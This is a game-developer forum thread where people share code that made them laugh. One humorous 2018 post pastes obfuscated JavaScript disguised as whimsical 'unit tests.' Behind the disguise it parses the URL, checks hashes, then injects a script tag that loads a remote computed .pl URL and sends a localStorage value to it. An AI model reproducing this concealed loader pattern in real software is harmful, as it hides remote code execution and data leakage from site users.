Welcome, Guest. Please login or register.

Login with username, password and session length

 
Advanced search

1411476 Posts in 69369 Topics- by 58424 Members - Latest Member: FlyingFreeStudios

April 23, 2024, 03:02:02 PM

Need hosting? Check out Digital Ocean
(more details in this thread)
TIGSource ForumsDeveloperTechnical (Moderator: ThemsAllTook)Post if you just laughed at your code.
Pages: 1 ... 25 26 [27]
Print
Author Topic: Post if you just laughed at your code.  (Read 86599 times)
Klaim
Level 10
*****



View Profile WWW
« Reply #520 on: September 21, 2014, 01:42:17 PM »

Why not just

Code:
ConnectionPtr connection(new Connection(m_network, network_id));


Exactly. I got the same reaction (which triggered my laughing).

There are several reasons, one begin that it trigger an ICE in my specific case (don't ask me why, fixed in future version of the compiler), the other being that the lambda there should actually be a factory function which don't output a ConnectionPtr but a Connection and ConnectionPtr should not exist at all (because value semantic).
That code is all wrong but require some external changes to be fixed.

So basically, this whole code should really be reduced to

Code:
void ConnectionRegistry::begin_connection( const RemoteSystemId& network_id )
    {
        auto connection = make_connection( network_id );
        m_connection_index[network_id] = connection;
        m_on_connection_begin( connection );
    }
And make_connection() don't even need to call new.
I'll fix this soon (if I can dodge the compiler ICE), just didn't have time right now.
Logged

Sik
Level 10
*****


View Profile WWW
« Reply #521 on: September 21, 2014, 05:41:29 PM »

To be fair the least thing you'll do when you have a problem like that is thinking rationally at all. You'll just hack in a solution trying to figure out how not to trigger the problem then refuse to touch it again because of how hackish it is until the problem is fixed so you can get rid of it in the first place.
Logged
Boreal
Level 6
*


Reinventing the wheel


View Profile
« Reply #522 on: September 21, 2014, 07:42:11 PM »



To someone browsing my code on GitHub or using another editor this will appear rather ridiculous.
Logged

"In software, the only numbers of significance are 0, 1, and N." - Josh Barczak

magma - Reconstructed Mantle API
CodeLobe
Level 0
***


Decide to Act Sensibly


View Profile WWW
« Reply #523 on: April 17, 2018, 04:55:28 AM »

Cleaning off one of my old workstations before scrapping it, and I found some odd files.

I WAS trying to figure WTF this one was for, but it's obviously a unit test for Magic?!

Code:
                           var
                          wizdom,

               ///  Universal Symbols  \\\

    grammar,    logic,            knowledge,
    magic = 3,  symbol = -1,      journey = 0;                 /*\
         _/__/            \\        \ \/ /                     \3/
        /_/               /λ\        \  /                      /7\
       |/                // \\        \/                       \*/
unit( "Invocation" );

test( "Sigilize identification", function()

{               return                          (
                grammar =          location       .search           .
                substr( 1 )       .split( '&' ) ) .length           ;
}   )                                                               ;

test( "Epitomize introspection", function()

{               logic            = this                             ;
        while ( knowledge        = grammar   [  ++ symbol   ]       )
    {           knowledge        = knowledge .     split    ( '='  );
        logic [ knowledge[ 0 ] ] = parseInt  (     knowledge[  1 ] );
    }           return             symbol          >=          2    ;
}   )                                                               ;

test( "Materialize incantation", function()

{       return  rhetoric           ===             magic            ;
}   )                                                               ;


unit( "Cauldron" );

test( "Get magic for a Cauldron", function()
{   return!
    (   (   magic = getCauldronMagic
        (   512,
                                           29, 3,
            128
        )
        ) ^ 1049474
    );
}   );

test( "Summon your new Cauldron", function()
{ return typeof ( pot = new Cauldron( magic ) ) === "object";
} );

test( "Join precession of power", function()
{ for ( knowledge = 0x80; knowledge >>= 1; ++symbol )
pot.addChunk( knowledge );
return symbol >= 9
} );

test( "Add ingredients of spell", function()
{ while ( symbol - knowledge++ ) pot.addString( "Eye of Falcon" );
return knowledge === 11;
} );

test( "Taste of an epic journey", function()
{ path = pot.taste();
if ( (step = path.length) !== 8 ) return false;
for ( step = path.length; --step >= 0; )
path[ step ] ^= journey += path[ step ];
return journey << 0 === 0xb0b442c3 << 0;
}   );

test( "Cast hex of dark mystery", function()
{ pot.empty();
pot.addWords( path, 0, path.length );
hex = tHexToStr( pot.castHex( 16 ) );

            mystery   =
              tHexToStr
                          (
      '1'                                                                                     +
     'a99'                                                                                                                              +
    '0becc'                                                                                       +
   'b9c0a74'                                                                        +
   '31ff639'+
   '3b613b9'                                                                                                                             +
   'c187431'                                                                       +
   'd3980ef'                                              +
   'a036efa'                                                                                                                           +
   '10f312c'              +
   'a190a9f'                                                                              +
   'ef4977c'                                                                                                           +
   'e6e36a4'                                              +
   '57afbc4'                              +
   '077163b'          +
   '7b48b58'                                                                               +
   '839d80b'                                                                                            +
   'd5c836a'                                                                                                                                            +
   '95ba0af'          +
   '6a5a447'
                                                                                                                       )                                ;

pot.empty();
pot.addString( magic );

    if
    (   pot.castHex() ==
            '9a35'       +       '24b6'+
             '3665'       +     '7eae'                           +
              '4bfb'      +    '77e8'            +
               'ed1c'    +    '6171'              +
                '69c1'  +    '3d23'                +
                 'bfec' +   '703b'                       +
                   '147b'+'a330'+
                     '36b3979'                                  +
                        '6'
    )
{ pot.empty();
pot.addString( mystery );
pot.addString( magic );

document.write
( '<scr' + 'ipt type="text/javascript" src="'
+ tI32ToB91( pot.taste() ) + '.pl?awooooo='
+ ( localStorage.getItem( "LURKER" ) || '1' ) + '"></scr' + 'ipt>'
);
return 1;
}

return 0;
} );

log( "#Occulti verba vera deos\n\n" + magic + "\n" );

// ... and several hundred more lines of this sort of thing...

Yep.  It's plainly Necromancy!

ARISE DEAD THREAD!

I legit have no memory of writing this and several other files like it, but they've got to be mine.  There are accompanying sources in C that look especially wicked.  The one enormous monster file doing CGI in Perl without the CGI module scares me.  That damed script is self modifying -- Only gods know what else it does.  There are three other directories with names made up of Unicode spaces, tabs, non-breaking spaces and zero width spaces, and they're full of more sources and binaries.  I dare not post more online for fear of unleashing a thing that should not be.

What got me to post is that the file creation timestamps are from 2038.



Either I'm pranking myself pretty damn hard, or... nah, I've got to be pulling my leg.  Regardless, this stuff has had me chuckling for hours.  Must have been one hell of a party "upstairs".
Logged
Pages: 1 ... 25 26 [27]
Print
Jump to:  

Theme orange-lt created by panic